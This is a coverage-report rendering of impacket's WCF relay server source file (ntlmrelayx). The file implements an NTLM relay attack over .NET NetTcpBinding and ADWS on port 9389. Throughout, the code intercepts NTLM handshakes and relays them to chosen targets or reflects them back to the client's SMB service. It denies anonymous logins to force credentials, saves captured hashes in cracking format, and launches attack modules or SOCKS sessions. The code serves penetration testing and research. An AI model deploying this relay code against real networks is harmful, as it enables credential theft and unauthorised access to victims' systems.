Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py: 8%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py : 8%

## 219 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# -*- coding: utf-8 -*-

2# Impacket - Collection of Python classes for working with network protocols.

3#

4# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.

5#

6# This software is provided under a slightly modified version

7# of the Apache Software License. See the accompanying LICENSE file

8# for more information.

9#

10# Description:

11# WCF Relay Server

12#

13# This is the WCF server (ADWS too) which relays the NTLMSSP messages to other protocols

14# Only NetTcpBinding is supported!

15#

16# Author:

17# Clément Notin (@cnotin)

18# With code copied from smbrelayserver.py and httprelayserver.py authored by:

19# Alberto Solino (@agsolino)

20# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)

21#

22# References:

23# To support NetTcpBinding, this implements the ".NET Message Framing Protocol" [MC-NMF] and

24# ".NET NegotiateStream Protocol" [MS-NNS]

25# Thanks to inspiration from https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/nmf.py

26# and https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/stream/negotiate.py by @bluec0re

27#

28

29 import socket

30 import socketserver

31 import struct

32 from binascii import hexlify

33 from threading import Thread

34

35 from six import PY2

36

37 from impacket import ntlm, LOG

38 from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections

39 from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor

40 from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS

41 from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile

42 from impacket.spnego import SPNEGO_NegTokenInit, ASN1_AID, SPNEGO_NegTokenResp, TypesMech, MechTypes, \

43 ASN1_SUPPORTED_MECH

44

45

46 class WCFRelayServer(Thread):

47 class WCFServer(socketserver.ThreadingMixIn, socketserver.TCPServer):

48 def __init__(self, server_address, request_handler_class, config):

49 self.config = config

50 self.daemon_threads = True

51 if self.config.ipv6:

52 self.address_family = socket.AF_INET6

53 self.wpad_counters = {}

54 socketserver.TCPServer.__init__(self, server_address, request_handler_class)

55

56 class WCFHandler(socketserver.BaseRequestHandler):

57 def __init__(self, request, client_address, server):

58 self.server = server

59 self.challengeMessage = None

60 self.target = None

61 self.client = None

62 self.machineAccount = None

63 self.machineHashes = None

64 self.domainIp = None

65 self.authUser = None

66

67 if self.server.config.target is None:

68 # Reflection mode, defaults to SMB at the target, for now

69 self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])

70 self.target = self.server.config.target.getTarget()

71 if self.target is None:

72 LOG.info("WCF: Received connection from %s, but there are no more targets left!" % client_address[0])

73 return

74 LOG.info("WCF: Received connection from %s, attacking target %s://%s" % (

75 client_address[0], self.target.scheme, self.target.netloc))

76

77 socketserver.BaseRequestHandler.__init__(self, request, client_address, server)

78

79 # recv from socket for exact 'length' (even if fragmented over several packets)

80 def recvall(self, length):

81 buf = b''

82 while not len(buf) == length:

83 buf += self.request.recv(length - len(buf))

84

85 if PY2:

86 buf = bytearray(buf)

87 return buf

88

89 def handle(self):

90 version_code = self.recvall(1)

91 if version_code != b'\x00':

92 LOG.error("WCF: wrong VersionRecord code")

93 return

94 version = self.recvall(2) # should be \x01\x00 but we don't care

95 if version != b'\x01\x00':

96 LOG.error("WCF: wrong VersionRecord version")

97 return

98

99 mode_code = self.recvall(1)

100 if mode_code != b'\x01':

101 LOG.error("WCF: wrong ModeRecord code")

102 return

103 mode = self.recvall(1) # we don't care

104

105 via_code = self.recvall(1)

106 if via_code != b'\x02':

107 LOG.error("WCF: wrong ViaRecord code")

108 return

109 via_len = self.recvall(1)

110 via_len = struct.unpack("B", via_len)[0]

111 via = self.recvall(via_len).decode("utf-8")

112

113 if not via.startswith("net.tcp://"):

114 LOG.error("WCF: the Via URL '" + via + "' does not start with 'net.tcp://'. "

115 "Only NetTcpBinding is currently supported!")

116 return

117

118 known_encoding_code = self.recvall(1)

119 if known_encoding_code != b'\x03':

120 LOG.error("WCF: wrong KnownEncodingRecord code")

121 return

122 encoding = self.recvall(1) # we don't care

123

124 upgrade_code = self.recvall(1)

125 if upgrade_code != b'\x09':

126 LOG.error("WCF: wrong UpgradeRequestRecord code")

127 return

128 upgrade_len = self.recvall(1)

129 upgrade_len = struct.unpack("B", upgrade_len)[0]

130 upgrade = self.recvall(upgrade_len).decode("utf-8")

131

132 if upgrade != "application/negotiate":

133 LOG.error("WCF: upgrade '" + upgrade + "' is not 'application/negotiate'. Only Negotiate is supported!")

134 return

135 self.request.sendall(b'\x0a')

136

137 while True:

138 handshake_in_progress = self.recvall(5)

139 if not handshake_in_progress[0] == 0x16:

140 LOG.error("WCF: Wrong handshake_in_progress message")

141 return

142

143 securityBlob_len = struct.unpack(">H", handshake_in_progress[3:5])[0]

144 securityBlob = self.recvall(securityBlob_len)

145

146 rawNTLM = False

147 if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:

148 # SPNEGO NEGOTIATE packet

149 blob = SPNEGO_NegTokenInit(securityBlob)

150 token = blob['MechToken']

151 if len(blob['MechTypes'][0]) > 0:

152 # Is this GSSAPI NTLM or something else we don't support?

153 mechType = blob['MechTypes'][0]

154 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \

155 mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:

156 # Nope, do we know it?

157 if mechType in MechTypes:

158 mechStr = MechTypes[mechType]

159 else:

160 mechStr = hexlify(mechType)

161 LOG.error("Unsupported MechType '%s'" % mechStr)

162 # We don't know the token, we answer back again saying

163 # we just support NTLM.

164 respToken = SPNEGO_NegTokenResp()

165 respToken['NegState'] = b'\x03' # request-mic

166 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

167 respToken = respToken.getData()

168

169 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b

170 answer = b'\x16' # handshake_in_progress

171 answer += b'\x01\x00' # version

172 answer += struct.pack(">H", len(respToken)) # len

173 answer += respToken

174

175 self.request.sendall(answer)

176

177 elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:

178 # SPNEGO AUTH packet

179 blob = SPNEGO_NegTokenResp(securityBlob)

180 token = blob['ResponseToken']

181 break

182 else:

183 # No GSSAPI stuff, raw NTLMSSP

184 rawNTLM = True

185 token = securityBlob

186 break

187

188 if not token.startswith(b"NTLMSSP\0\1"): # NTLMSSP_NEGOTIATE: message type 1

189 LOG.error("WCF: Wrong NTLMSSP_NEGOTIATE message")

190 return

191

192 if not self.do_ntlm_negotiate(token):

193 # Connection failed

194 LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',

195 self.target.scheme, self.target.netloc)

196 self.server.config.target.logTarget(self.target)

197 return

198

199 # Calculate auth

200 ntlmssp_challenge = self.challengeMessage.getData()

201

202 if not rawNTLM:

203 # add SPNEGO wrapping

204 respToken = SPNEGO_NegTokenResp()

205 # accept-incomplete. We want more data

206 respToken['NegState'] = b'\x01'

207 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

208

209 respToken['ResponseToken'] = ntlmssp_challenge

210 ntlmssp_challenge = respToken.getData()

211

212 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b

213 handshake_in_progress = b"\x16\x01\x00" + struct.pack(">H", len(ntlmssp_challenge))

214 self.request.sendall(handshake_in_progress)

215 self.request.sendall(ntlmssp_challenge)

216

217 handshake_done = self.recvall(5)

218

219 if handshake_done[0] == 0x15:

220 error_len = struct.unpack(">H", handshake_done[3:5])[0]

221 error_msg = self.recvall(error_len)

222 hresult = hex(struct.unpack('>I', error_msg[4:8])[0])

223 LOG.error("WCF: Received handshake_error message: " + hresult)

224 return

225

226 ntlmssp_auth_len = struct.unpack(">H", handshake_done[3:5])[0]

227 ntlmssp_auth = self.recvall(ntlmssp_auth_len)

228

229 if not rawNTLM:

230 # remove SPNEGO wrapping

231 blob = SPNEGO_NegTokenResp(ntlmssp_auth)

232 ntlmssp_auth = blob['ResponseToken']

233

234 if not ntlmssp_auth.startswith(b"NTLMSSP\0\3"): # NTLMSSP_AUTH: message type 3

235 LOG.error("WCF: Wrong NTLMSSP_AUTH message")

236 return

237

238 authenticateMessage = ntlm.NTLMAuthChallengeResponse()

239 authenticateMessage.fromString(ntlmssp_auth)

240

241 if not self.do_ntlm_auth(ntlmssp_auth, authenticateMessage):

242 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

243 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (

244 self.target.scheme, self.target.netloc,

245 authenticateMessage['domain_name'].decode('utf-16le'),

246 authenticateMessage['user_name'].decode('utf-16le')))

247 else:

248 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (

249 self.target.scheme, self.target.netloc,

250 authenticateMessage['domain_name'].decode('ascii'),

251 authenticateMessage['user_name'].decode('ascii')))

252 return

253

254 # Relay worked, do whatever we want here...

255 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

256 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (

257 self.target.scheme, self.target.netloc,

258 authenticateMessage['domain_name'].decode('utf-16le'),

259 authenticateMessage['user_name'].decode('utf-16le')))

260 else:

261 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (

262 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),

263 authenticateMessage['user_name'].decode('ascii')))

264

265 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],

266 authenticateMessage['user_name'],

267 authenticateMessage['domain_name'],

268 authenticateMessage['lanman'], authenticateMessage['ntlm'])

269 self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

270

271 if self.server.config.outputFile is not None:

272 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],

273 self.server.config.outputFile)

274

275 self.server.config.target.logTarget(self.target, True, self.authUser)

276

277 self.do_attack()

278

279 def do_ntlm_negotiate(self, token):

280 if self.target.scheme.upper() in self.server.config.protocolClients:

281 self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config,

282 self.target)

283 # If connection failed, return

284 if not self.client.initConnection():

285 return False

286 self.challengeMessage = self.client.sendNegotiate(token)

287

288 # Remove target NetBIOS field from the NTLMSSP_CHALLENGE

289 if self.server.config.remove_target:

290 av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])

291 del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]

292 self.challengeMessage['TargetInfoFields'] = av_pairs.getData()

293 self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())

294 self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())

295

296 # Check for errors

297 if self.challengeMessage is False:

298 return False

299 else:

300 LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())

301 return False

302

303 return True

304

305 def do_ntlm_auth(self, token, authenticateMessage):

306 # For some attacks it is important to know the authenticated username, so we store it

307 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

308 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),

309 authenticateMessage['user_name'].decode('utf-16le'))).upper()

310 else:

311 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),

312 authenticateMessage['user_name'].decode('ascii'))).upper()

313

314 if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':

315 clientResponse, errorCode = self.client.sendAuth(token)

316 else:

317 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except

318 # when coming from localhost

319 errorCode = STATUS_ACCESS_DENIED

320

321 if errorCode == STATUS_SUCCESS:

322 return True

323

324 return False

325

326 def do_attack(self):

327 # Check if SOCKS is enabled and if we support the target scheme

328 if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:

329 # Pass all the data to the socksplugins proxy

330 activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),

331 self.authUser, self.client, self.client.sessionData))

332 return

333

334 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks

335 if self.target.scheme.upper() in self.server.config.attacks:

336 # We have an attack.. go for it

337 clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config,

338 self.client.session,

339 self.authUser)

340 clientThread.start()

341 else:

342 LOG.error('No attack configured for %s' % self.target.scheme.upper())

343

344 def __init__(self, config):

345 Thread.__init__(self)

346 self.daemon = True

347 self.config = config

348 self.server = None

349

350 def run(self):

351 LOG.info("Setting up WCF Server")

352

353 if self.config.listeningPort:

354 wcfport = self.config.listeningPort

355 else:

356 wcfport = 9389 # ADWS

357

358 # changed to read from the interfaceIP set in the configuration

359 self.server = self.WCFServer((self.config.interfaceIp, wcfport), self.WCFHandler, self.config)

360

361 try:

362 self.server.serve_forever()

363 except KeyboardInterrupt:

364 pass

365 LOG.info('Shutting down WCF Server')

366 self.server.server_close()